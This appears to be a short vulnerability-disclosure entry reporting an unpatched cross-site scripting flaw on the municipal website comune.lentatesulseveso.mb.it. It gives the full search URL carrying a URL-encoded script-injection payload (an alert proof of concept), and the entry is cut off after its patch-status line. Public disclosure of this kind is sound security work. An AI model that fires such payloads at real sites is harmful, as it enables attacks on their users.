comune.lentatesulseveso.mb.it XSS vulnerability

Vulnerable URL: http://www.comune.lentatesulseveso.mb.it/search/searchsite.asp?cx=008370601615056679726%3Aypgsetb4jli=FORID%3A10=%22%27--%21%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C%2Fscript%3E= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.08.2017...